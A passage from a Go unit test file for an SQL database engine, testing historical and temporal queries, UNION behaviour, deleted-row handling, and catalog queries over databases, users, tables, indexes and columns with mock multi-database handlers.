row.ValuesByPosition[1].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"querying historical data in desc order should return data from newer to older revisions\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT _rev, title FROM (HISTORY OF table1) order by id desc\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := rowCount; i > 0; i-- {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, int64(i), row.ValuesByPosition[0].RawValue())\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesByPosition[1].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestUnionOperator(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(title)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table2(id INTEGER AUTO_INCREMENT, name VARCHAR[30], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table_unknown UNION SELECT COUNT(*) FROM table1\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table1 UNION SELECT COUNT(*) FROM table_unknown\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM table1 UNION SELECT id, title FROM table1\", nil)\n\trequire.ErrorIs(t, err, ErrColumnMismatchInUnionStmt)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM table1 UNION SELECT title FROM table1\", nil)\n\trequire.ErrorIs(t, err, ErrColumnMismatchInUnionStmt)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"SELECT title FROM table1 UNION SELECT name FROM table2\")\n\trequire.NoError(t, err)\n\n\t_, err = engine.InferParameters(context.Background(), nil, \"SELECT title FROM table1 UNION invalid stmt\")\n\trequire.ErrorIs(t, err, ErrParsingError)\n\n\trowCount := 10\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1(title) VALUES (@title)\", map[string]interface{}{\"title\": fmt.Sprintf(\"title%d\", i)})\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table2(name) VALUES (@name)\", map[string]interface{}{\"name\": fmt.Sprintf(\"name%d\", i)})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"default union should filter out duplicated rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, `\n\t\t\tSELECT COUNT(*) as c FROM table1\n\t\t\tUNION\n\t\t\tSELECT COUNT(*) FROM table1\n\t\t\tUNION\n\t\t\tSELECT COUNT(*) c FROM table1 t1\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[\"(table1.c)\"].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"union all should not filter out duplicated rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM table1 UNION ALL SELECT COUNT(*) FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[\"(table1.c)\"].RawValue())\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[\"(table1.c)\"].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"union should filter out duplicated rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT title FROM table1 order by title desc UNION SELECT title FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", rowCount-i-1), row.ValuesBySelector[\"(table1.title)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"union with subqueries over different tables\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT title FROM table1 UNION SELECT name FROM table2\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[\"(table1.title)\"].RawValue())\n\t\t}\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"name%d\", i), row.ValuesBySelector[\"(table1.title)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestTemporalQueriesEdgeCases(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tedgeCases := []struct {\n\t\ttitle  string\n\t\tquery  string\n\t\tparams map[string]interface{}\n\t\terr    error\n\t}{\n\t\t{\n\t\t\ttitle:  \"querying data with future date should not return any row\",\n\t\t\tquery:  \"SELECT ts FROM table1 AFTER now() ORDER BY id DESC LIMIT 1\",\n\t\t\tparams: nil,\n\t\t\terr:    ErrNoMoreRows,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 SINCE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": 0},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 SINCE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": -1},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with col selector as tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 SINCE TX id\",\n\t\t\tparams: nil,\n\t\t\terr:    ErrInvalidValue,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with aggregations as tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 SINCE TX COUNT(*)\",\n\t\t\tparams: nil,\n\t\t\terr:    ErrInvalidValue,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 AFTER TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": 0},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 AFTER TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": -1},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 BEFORE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": 0},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 BEFORE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": -1},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 BEFORE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": 1},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with invalid tx id should return error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 SINCE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": uint64(math.MaxUint64)},\n\t\t\terr:    ErrIllegalArguments,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with valid tx id but greater than existent id should return no more rows error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 SINCE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": math.MaxInt64},\n\t\t\terr:    ErrNoMoreRows,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with valid tx id but greater than existent id should return no more rows error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 AFTER TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": math.MaxInt64},\n\t\t\terr:    ErrNoMoreRows,\n\t\t},\n\t\t{\n\t\t\ttitle:  \"querying data with valid tx id but greater than existent id should return no more rows error\",\n\t\t\tquery:  \"SELECT id, title FROM table1 BEFORE TX @tx\",\n\t\t\tparams: map[string]interface{}{\"tx\": math.MaxInt64},\n\t\t\terr:    ErrNoMoreRows,\n\t\t},\n\t}\n\n\tfor _, c := range edgeCases {\n\t\tt.Run(c.title, func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, c.query, c.params)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = r.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, c.err)\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\t}\n}\n\nfunc TestTemporalQueriesDeletedRows(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 10; i++ {\n\t\t_, tx1, err := engine.Exec(context.Background(), nil,\n\t\t\t\"INSERT INTO table1(id, title) VALUES(@id, @title)\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"id\":    i,\n\t\t\t\t\"title\": fmt.Sprintf(\"title%d\", i),\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, tx1, 1)\n\t}\n\n\t_, tx2, err := engine.Exec(context.Background(), nil, \"DELETE FROM table1 WHERE id = 5\", nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, tx2, 1)\n\n\t// Update value that is topologically before the deleted entry when scanning primary index\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPDATE table1 SET title = 'updated_title2' WHERE id = 2\", nil)\n\trequire.NoError(t, err)\n\n\t// Update value that is topologically after the deleted entry when scanning primary index\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPDATE table1 SET title = 'updated_title8' WHERE id = 8\", nil)\n\trequire.NoError(t, err)\n\n\t// Reinsert deleted entry\n\t_, tx3, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, title) VALUES(5, 'title5')\", nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, tx3, 1)\n\n\t// The sequence of operations is:\n\t//       Crate table\n\t//  tx1: INSERT id=0..9\n\t//  tx2: DELETE id=5    \\\n\t//       UPDATE id=2     >- temporal query over the range\n\t//       UPDATE id=8    /\n\t//  tx3: INSERT id=5\n\n\tres, err := engine.Query(\n\t\tcontext.Background(), nil,\n\t\t\"SELECT id FROM table1 SINCE TX @since BEFORE TX @before\",\n\t\tmap[string]interface{}{\n\t\t\t\"since\":  tx2[0].txHeader.ID,\n\t\t\t\"before\": tx3[0].txHeader.ID,\n\t\t},\n\t)\n\trequire.NoError(t, err)\n\n\trow, err := res.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 2, row.ValuesByPosition[0].RawValue())\n\n\trow, err = res.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 8, row.ValuesByPosition[0].RawValue())\n\n\t_, err = res.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = res.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestMultiDBCatalogQueries(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tdbs := []string{\"db1\", \"db2\"}\n\thandler := &multidbHandlerMock{\n\t\tuser: &mockUser{\n\t\t\tusername:      \"user\",\n\t\t\tsqlPrivileges: allPrivileges,\n\t\t},\n\t}\n\n\topts := DefaultOptions().\n\t\tWithPrefix(sqlPrefix).\n\t\tWithMultiDBHandler(handler)\n\n\tengine, err := NewEngine(st, opts)\n\trequire.NoError(t, err)\n\n\thandler.dbs = dbs\n\thandler.engine = engine\n\n\tt.Run(\"with a handler, multi database stmts are delegated to the handler\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tCREATE DATABASE db1;\n\t\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNonTransactionalStmt)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tCREATE USER user1 WITH PASSWORD 'user1Password!' READ;\n\t\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNonTransactionalStmt)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tALTER USER user1 WITH PASSWORD 'user1Password!' READ;\n\t\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNonTransactionalStmt)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tDROP USER user1;\n\t\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNonTransactionalStmt)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tGRANT ALL PRIVILEGES ON DATABASE defaultdb TO USER myuser;\n\t\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNonTransactionalStmt)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE DATABASE db1\", nil)\n\t\trequire.ErrorIs(t, err, ErrNoSupported)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"USE DATABASE db1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tntx, ctxs, err := engine.Exec(context.Background(), nil, \"USE DATABASE db1; USE DATABASE db2\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Nil(t, ntx)\n\t\trequire.Len(t, ctxs, 2)\n\t\trequire.Zero(t, ctxs[0].UpdatedRows())\n\t\trequire.Zero(t, ctxs[1].UpdatedRows())\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION; USE DATABASE db1; COMMIT;\", nil)\n\t\trequire.ErrorIs(t, err, ErrNonTransactionalStmt)\n\n\t\tt.Run(\"unconditional database query\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM DATABASES() WHERE name LIKE 'db*'\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, db := range dbs {\n\t\t\t\trow, err := r.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, row)\n\t\t\t\trequire.NotNil(t, row)\n\t\t\t\trequire.Equal(t, db, row.ValuesBySelector[\"(databases.name)\"].RawValue())\n\t\t\t}\n\n\t\t\t_, err = r.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"show databases\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SHOW DATABASES\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, db := range dbs {\n\t\t\t\trow, err := r.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, row)\n\t\t\t\trequire.NotNil(t, row)\n\t\t\t\trequire.Equal(t, db, row.ValuesBySelector[\"(databases.name)\"].RawValue())\n\t\t\t}\n\n\t\t\t_, err = r.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"show users\", func(t *testing.T) {\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SHOW USERS\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"user\", rows[0].ValuesByPosition[0].RawValue())\n\t\t})\n\n\t\tt.Run(\"list users\", func(t *testing.T) {\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT * FROM USERS()\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"user\", rows[0].ValuesByPosition[0].RawValue())\n\t\t})\n\n\t\tt.Run(\"query databases using conditions with table and column aliasing\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT dbs.name as dbname FROM DATABASES() as dbs WHERE name LIKE 'db*'\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, db := range dbs {\n\t\t\t\trow, err := r.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, row)\n\t\t\t\trequire.NotNil(t, row)\n\t\t\t\trequire.Equal(t, db, row.ValuesBySelector[\"(dbs.dbname)\"].RawValue())\n\t\t\t}\n\n\t\t\t_, err = r.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\t})\n}\n\ntype mockUser struct {\n\tusername      string\n\tpermission    Permission\n\tsqlPrivileges []SQLPrivilege\n}\n\nfunc (u *mockUser) Username() string {\n\treturn u.username\n}\n\nfunc (u *mockUser) Permission() Permission {\n\treturn u.permission\n}\n\nfunc (u *mockUser) SQLPrivileges() []SQLPrivilege {\n\treturn u.sqlPrivileges\n}\n\ntype multidbHandlerMock struct {\n\tdbs    []string\n\tuser   *mockUser\n\tengine *Engine\n}\n\nfunc (h *multidbHandlerMock) ListDatabases(ctx context.Context) ([]string, error) {\n\treturn h.dbs, nil\n}\n\nfunc (h *multidbHandlerMock) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error {\n\treturn ErrNoSupported\n}\n\nfunc (h *multidbHandlerMock) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error {\n\treturn ErrNoSupported\n}\n\nfunc (h *multidbHandlerMock) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error {\n\treturn ErrNoSupported\n}\n\nfunc (h *multidbHandlerMock) UseDatabase(ctx context.Context, db string) error {\n\treturn nil\n}\n\nfunc (h *multidbHandlerMock) GetLoggedUser(ctx context.Context) (User, error) {\n\tif h.user == nil {\n\t\treturn nil, fmt.Errorf(\"no logged user\")\n\t}\n\treturn h.user, nil\n}\n\nfunc (h *multidbHandlerMock) ListUsers(ctx context.Context) ([]User, error) {\n\treturn []User{h.user}, nil\n}\n\nfunc (h *multidbHandlerMock) CreateUser(ctx context.Context, username, password string, permission Permission) error {\n\treturn ErrNoSupported\n}\n\nfunc (h *multidbHandlerMock) AlterUser(ctx context.Context, username, password string, permission Permission) error {\n\treturn ErrNoSupported\n}\n\nfunc (h *multidbHandlerMock) DropUser(ctx context.Context, username string) error {\n\treturn ErrNoSupported\n}\n\nfunc (h *multidbHandlerMock) ExecPreparedStmts(\n\tctx context.Context,\n\topts *TxOptions,\n\tstmts []SQLStmt,\n\tparams map[string]interface{},\n) (ntx *SQLTx, committedTxs []*SQLTx, err error) {\n\treturn h.engine.ExecPreparedStmts(ctx, nil, stmts, params)\n}\n\nfunc TestSingleDBCatalogQueries(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, `\n\t\tCREATE TABLE mytable1(id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR[256], PRIMARY KEY id);\n\n\t\tCREATE TABLE mytable2(id INTEGER NOT NULL, name VARCHAR[100], active BOOLEAN, PRIMARY KEY id);\n\t`, nil)\n\trequire.NoError(t, err)\n\n\ttx, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), tx, `\n\t\tCREATE INDEX ON mytable1(title);\n\n\t\tCREATE INDEX ON mytable2(name);\n\t\tCREATE UNIQUE INDEX ON mytable2(name, active);\n\t`, nil)\n\trequire.NoError(t, err)\n\n\tdefer tx.Cancel()\n\n\tt.Run(\"querying tables without any condition should return all tables\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM TABLES()\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable1\", row.ValuesBySelector[\"(tables.name)\"].RawValue())\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(tables.name)\"].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"querying tables with name equality comparison should return only one table\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM TABLES() WHERE name = 'mytable2'\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(tables.name)\"].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"querying tables with name equality comparison using parameters should return only one table\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"name\"] = \"mytable2\"\n\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM TABLES() WHERE name = @name\", params)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(tables.name)\"].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"show tables\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), tx, \"SHOW TABLES\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable1\", row.ValuesBySelector[\"(tables.name)\"].RawValue())\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(tables.name)\"].RawValue())\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"unconditional index query should return all the indexes of mytable1\", func(t *testing.T) {\n\t\tparams := map[string]interface{}{\n\t\t\t\"tableName\": \"mytable1\",\n\t\t}\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM INDEXES(@tableName)\", params)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable1\", row.ValuesBySelector[\"(indexes.table)\"].RawValue())\n\t\trequire.Equal(t, \"mytable1(id)\", row.ValuesBySelector[\"(indexes.name)\"].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[\"(indexes.unique)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(indexes.primary)\"].RawValue().(bool))\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable1\", row.ValuesBySelector[\"(indexes.table)\"].RawValue())\n\t\trequire.Equal(t, \"mytable1(title)\", row.ValuesBySelector[\"(indexes.name)\"].RawValue())\n\t\trequire.False(t, row.ValuesBySelector[\"(indexes.unique)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(indexes.primary)\"].RawValue().(bool))\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"unconditional index query should return all the indexes of mytable2\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM INDEXES('mytable2')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(indexes.table)\"].RawValue())\n\t\trequire.Equal(t, \"mytable2(id)\", row.ValuesBySelector[\"(indexes.name)\"].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[\"(indexes.unique)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(indexes.primary)\"].RawValue().(bool))\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(indexes.table)\"].RawValue())\n\t\trequire.Equal(t, \"mytable2(name)\", row.ValuesBySelector[\"(indexes.name)\"].RawValue())\n\t\trequire.False(t, row.ValuesBySelector[\"(indexes.unique)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(indexes.primary)\"].RawValue().(bool))\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable2\", row.ValuesBySelector[\"(indexes.table)\"].RawValue())\n\t\trequire.Equal(t, \"mytable2(name,active)\", row.ValuesBySelector[\"(indexes.name)\"].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[\"(indexes.unique)\"].RawValue().(bool))\n\t\trequire.False(t, row.ValuesBySelector[\"(indexes.primary)\"].RawValue().(bool))\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\t})\n\n\tt.Run(\"unconditional column query should return all the columns of mytable1\", func(t *testing.T) {\n\t\tparams := map[string]interface{}{\n\t\t\t\"tableName\": \"mytable1\",\n\t\t}\n\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM COLUMNS(@tableName)\", params)\n\t\trequire.NoError(t, err)\n\n\t\tdefer r.Close()\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"mytable1\", row.ValuesBySelector[\"(columns.table)\"].RawValue())\n\t\trequire.Equal(t, \"id\", row.ValuesBySelector[\"(columns.name)\"].RawValue())\n\t\trequire.Equal(t, IntegerType, row.ValuesBySelector[\"(columns.type)\"].RawValue())\n\t\trequire.Equal(t, int64(8), row.ValuesBySelector[\"(columns.max_length)\"].RawValue())\n\t\trequire.False(t, row.ValuesBySelector[\"(columns.nullable)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.auto_increment)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.indexed)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.primary)\"].RawValue().(bool))\n\t\trequire.True(t, row.ValuesBySelector[\"(columns.unique)\"].RawValue().(bool))\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, 